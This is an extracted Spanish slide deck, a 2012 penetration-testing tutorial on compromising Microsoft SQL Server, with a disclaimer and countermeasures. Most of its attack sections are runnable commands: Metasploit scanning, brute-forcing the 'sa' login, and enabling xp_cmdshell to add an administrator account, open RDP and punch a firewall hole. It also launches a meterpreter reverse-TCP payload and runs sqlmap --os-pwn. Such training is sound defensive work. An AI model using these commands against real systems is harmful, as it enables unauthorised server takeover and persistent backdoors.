http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Microsoft SQL Server: Análisis y técnicas de
penetration testing
Omar Palomino Julio, 2012
Vulnerando Microsoft SQL Server
• Ing. Sistemas y Maestrista de Ing. de
Computación y Sistemas, CEH,
Security+, ITIL v3.
• Consultor en seguridad de
información de KUNAK Consulting.
• Psicólogo que aun no comienza sus
estudios….
• Escritor en mis tiempos libres:
http://www.el-palomo.com http://www.facebook.com/El.Palomo.Seguridad.Informacion
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
AVISO Y CONSIDERACIONES LEGALES
Las técnicas mostradas en la presentación tienen por objetivo CONOCER las técnicas utilizadas por los hackers para penetrar y adueñarse de SO y BD Microsoft.
La presentación NO TIENE POR OBJETIVO enseñar técnicas para realizar ataques contra, SO, Base de datos o aplicaciones web que son penados según la legislación de cada país.
El autor no se hace responsable del mal uso de las técnicas mostradas en la presentación.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Descripción
- Encontrar bases de datos MSSQL a través de NMAP (video) - Encontrar bases de datos MSSQL a través de Nessus (video) - Encontrar bases de datos MSSQL a través de Metasploit - Identificar sistema operativo sobre la cual se ejecuta la BD - Automatización de ataque con Metasploit Framework para lograr
acceso a la base de datos a través de un diccionario de contraseñas
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
Módulo de Metasploit
OPCIONES DE ESCNEO CON METASPLOIT
msf>use auxiliary/scanner/mssql/mssql_ping msf>show options msf>set RHOSTS msf>set THREADS msf>exploit.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
Módulo de Metasploit
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
OPCIONES DE INGRESO A MSSQL CON METASPLOIT msf>use auxiliary/scanner/mssql/mssql_login msf>set RHOST msf>set THREADS msf>set PASS FILE /pentest/file.txt msf>set RPORT 1433 msf>set USERNAME sa msf>expoit
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Introducción
- Ejecución de comandos vía XP_CMDSHELL de manera manual - La automatización de tareas es una buena idea pero es bueno
también aprender como hacerlo manualmente si es que no contamos con alguna herramienta de explotación automatizada a la mano.
- Ejecución del exploit MSSQL_PAYLOAD y el payload METERPRETER
- Uso de la suite de Metasploit para apoderarse del sistema operativo a través de Microsoft SQL Server
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
XP_CMDSHELL
Ejecución de comandos vía XP_CMDSHELL de manera manual:
Establecer una conexión mediante un cliente Activar el uso de la función extendida XP_CMDSHELL Interactuar con el sistema operativo Crear usuarios/grupos de acceso al servidor Establecer una conexión remota vía RDP
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
XP_CMDSHELL
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
XP_CMDSHELL
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
EXEC master.dbo.sp_configure ‘show advanced options’, 1
RECONFIGURE
EXEC master.dbo.sp_configure ‘xp_cmdshell’, 1
RECONFIGURE
EXEC xp_cmdshell ‘net user martin P@ssworD /ADD’
EXEC xp_cmdshell ‘net group Administrators martin /ADD’
########### HABILITAR RDP ################ reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
########### HABILITAR FIREWALL ################
netsh firewall show portopening
netsh firewall add portopening TCP 3389 "Remote Desktop" ENABLE ALL
USO DE METERPRETER
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
Ejecución del exploit MSSQL_PAYLOAD y el payload METERPRETER
msf> use exploit/windoes/mssql/mssql_payload msf> set RHOST 192.168.220.130 msf> set RPORT 1433 msf> set USERNAME sa msf> set PASSWORD password msf> set PAYLOAD windows/meterpreter/reverse_tcp msf> SET LHOST msf> set LPORT 443 msf> exploit
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
USO DE METERPRETER
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Introducción
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
- Explotación de la vulnerabilidad MS09_004 a través de SQL Injection - La vulnerabilidad se presenta en los motores de base de datos de
Microsoft SQL Server 2005 que no hayan sido actualizados a la versión SP3.
- La vulnerabilidad es detectada por Nessus y puede ser explotado a través de dos métodos:
SQLMAP: Herramienta para realizar SQLi (hace uso de Metasploit)
Metasploit: Directamente a través de la consola MSFCONSOLE.
USO DE METERPRETER y SQLMAP
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
NOTAS IMPORTANTES:
1) No se requiere un usuario y/o contraseña para explotar esta vulnerabilidad.
2) El lenguaje de programación de la aplicación web es indiferente.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
USO DE METERPRETER y SQLMAP
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
Comando a ejecutar:
./sqlmap.py --url="http://192.168.220.129/hijacking/detalle.php?id=9" --level=5 --risk=3 -p id --cookie="PHPSESSID=4go1oqlc2882dsj09not61o0l5" --dbms=mssql --threads=10 --os-pwn -v 3 --msf-path=/pentest/exploits/framework/
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
USO DE METERPRETER y SQLMAP
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
Comando a ejecutar:
./sqlmap.py --url="http://192.168.220.129/hijacking/detalle.php?id=9" --level=5 --risk=3 -p id --cookie="PHPSESSID=4go1oqlc2882dsj09not61o0l5" --dbms=mssql --threads=10 --os-pwn -v 3 --msf-path=/pentest/exploits/framework/
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
CONCLUSIONES
Escaneo y reconocimiento de
MSSQL
Ataques directos a la
Base de Datos
Ataques a través de SQL
Injection
Conclusiones y contramedidas
Existen diversos mecanismos para explotar una BD SQL Server, a través de:
Explotar directamente la BD
Explotar aplicación web con SQL Injection:
PHP
ASP.NET
JAVA
El uso del procedimiento extendido XP_CMDSHELL es muy importante para la explotación de vulnerabilidades por lo que se recomienda restringir el uso del mismo.
Se debe actualizar el motor de BD para disminuir el riesgo de ataques sobre las mismas.
Un proceso continuo de revisión es la solución ideal para evitar ser vulnerables ante un eventual ataque de seguridad de información.
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Puedes ver este video en:
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
http://www.el-palomo.com/ http://www.facebook.com/El.Palomo.Seguridad.Informacion/ http://www.youtube.com/user/youta18
http://www.el-palomo.com – http://www.facebook.com/El.Palomo.Seguridad.Informacion
Microsoft SQL Server: Análisis y técnicas de
penetration testing
Omar Palomino Julio, 2012
Vulnerando Microsoft SQL Server